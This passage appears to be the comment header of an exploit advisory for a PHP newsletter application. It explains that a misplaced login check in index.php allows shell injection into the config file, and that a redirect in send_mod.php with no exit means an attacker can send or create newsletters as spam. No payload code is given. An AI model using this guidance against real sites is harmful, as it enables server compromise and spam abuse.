/*
Attack N°1
vuln code is in index.php: the function to ceck the login is at line 79,
but the code to change the config file is at line 33..
if mq=off you can inject a shell into the file..

Attack N°2

vuln code is in send_mod.php at line 16:

if(!checkAdminAccess($conf->admin_pass, $form_pass))
     header("Location:index.php");
	 
this is not a protection, so we can send previously created newsletter..
but in the same file there is a function to add new-newsletters..
so here it is a perfect spam sender program..
